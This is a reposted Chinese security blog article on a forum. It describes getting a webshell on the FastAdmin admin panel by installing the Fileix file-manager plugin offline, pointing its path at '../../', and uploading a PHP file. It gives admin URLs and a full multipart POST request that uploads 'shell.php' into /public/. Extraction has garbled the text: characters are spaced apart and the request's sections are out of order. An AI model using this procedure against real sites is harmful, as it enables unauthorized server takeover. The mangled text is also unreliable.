搜索

[27341] 2020-06-04_FastAdmin后台GetShell

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2020-06-04_FastAdmin后台GetShell F a s t A d m i n 后 台 G e t S h e l l 原 创   n e a r s e c   N e a r S e c   2 0 2 0 - 0 6 - 0 4 点 击 上 方 蓝 字 点 击 上 方 蓝 字     关 注 我 们 吧 关 注 我 们 吧 0 x 0 1   前 言 前 言 F a s t A d m i n 是 基 于 T h i n k P H P 5 和 B o o t s t r a p 的 后 台 框 架 ， 可 以 利 用 三 方 插 件 G e t S h e l l 0 x 0 2   本 地 测 试 本 地 测 试 F a s t A d m i n 官 方 源 码 下 载 地 址 ： 开 启 p h p s t u d y 本 地 搭 建 安 装 成 功 ， 新 版 源 码 的 后 台 地 址 是 随 机 生 成 的 h t t p s : / / w w w . f a s t a d m i n . n e t / d o w n l o a d . h t m l
后 台 默 认 会 有 插 件 管 理 功 能 ， 但 是 绝 大 部 分 用 户 会 把 这 个 功 能 阉 割 掉 点 进 去 看 到 有 一 堆 付 费 和 免 费 的 插 件 翻 到 了 目 前 已 有 的 三 个 官 方 发 布 的 在 线 文 件 管 理 器 插 件 ， 一 个 是 官 方 付 费 版 ， 一 个 是 三 方 付 费 版
但 是 由 于 舍 不 得 花 十 块 钱 买 插 件 ， 所 有 只 能 用 三 方 免 费 版 插 件 ， 直 接 点 击 安 装 会 需 要 登 录 账 号 ， 登 录 信 息 会 记 录 到 日 志 ， 不 便 于 操 作 ， 所 以 去 官 方 下 载 离 线 安 装 包 F i l e i x 文 件 管 理 器 离 线 安 装 包 官 方 下 载 地 址 ： 点 击 离 线 安 装 ， 选 择 上 传 你 下 载 的 Z I P 离 线 安 装 包 插 件 安 装 完 成 会 自 动 启 用 ， 默 认 路 径 配 置 是 这 样 的 然 后 打 开 是 这 样 的 h t t p s : / / w w w . f a s t a d m i n . n e t / s t o r e / f i l e i x . h t m l
可 以 修 改 为   . . / . . / ， 那 么 再 打 开 就 是 这 样 的 然 后 浅 显 易 懂 ， 直 接 右 键 上 传 p h p 文 件 就 能 g e t s h e l l 上 面 是 本 地 测 试 环 境 ， 真 实 环 境 会 出 现 这 样 一 个 问 题 ， 就 是 点 击 文 件 管 理 功 能 不 会 显 示 任 何 内 容 后 来 了 解 一 下 是 因 为 没 有 配 置 前 台 页 面 ， 不 太 好 修 改 ， 所 以 利 用 下 面 的 方 法
0 x 0 3   通 用 方 法 通 用 方 法 1 . 插 件 管 理 地 址 ： 进 入 后 台 默 认 不 显 示 插 件 管 理 功 能 ， 访 问 插 件 管 理 地 址 ， 上 传 离 线 安 装 包 2 . 文 件 管 理 地 址 / 读 取 所 有 文 件 地 址 ： 真 实 环 境 中 如 果 出 现 不 显 示 功 能 的 情 况 ， 必 要 时 可 以 读 取 所 有 文 件 地 址 3 . 上 传 p o c ： / a d m i n / a d d o n ? r e f = a d d t a b s / a d m i n / f i l e i x ? r e f = a d d t a b s / a d m i n / f i l e i x / l s t P O S T   / a d m i n / f i l e i x / d a t a ? t a r g e t = % 2 F   H T T P / 1 . 1 H o s t :   l o c a l h o s t C o n t e n t - L e n g t h :   1 0 5 0 O r i g i n :   h t t p : / / l o c a l h o s t U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 5 8 . 0 . 3 0 2 9 . 1 1 0   S a f a r i / 5 3 7 . 3 6   S E   2 . X   M e t a S r   1 . 0 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y r Z m y e A B 3 S c i J D W S T A c c e p t :   * / * R e f e r e r :   h t t p : / / l o c a l h o s t A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 C o o k i e :   P H P S E S S I D = x x x x x x x x C o n n e c t i o n :   c l o s e - - - - - - W e b K i t F o r m B o u n d a r y r Z m y e A B 3 S c i J D W S T C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " u p l o a d " ;   f i l e n a m e = " s h e l l . p h p " C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m c o d e
修 改 h o s t 地 址 p o s t 过 去 利 用 p o c 成 功 上 传 s h e l l c o d e - - - - - - W e b K i t F o r m B o u n d a r y r Z m y e A B 3 S c i J D W S T C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " a c t i o n " u p l o a d - - - - - - W e b K i t F o r m B o u n d a r y r Z m y e A B 3 S c i J D W S T C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " t a r g e t " / p u b l i c / - - - - - - W e b K i t F o r m B o u n d a r y r Z m y e A B 3 S c i J D W S T - -
扫 码 关 注 最 新 分 享 搜 索 公 众 号 ： n e a r s e c 你 点 的 每 个 在 看 ， 我 都 认 真 当 成 了 喜 欢
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理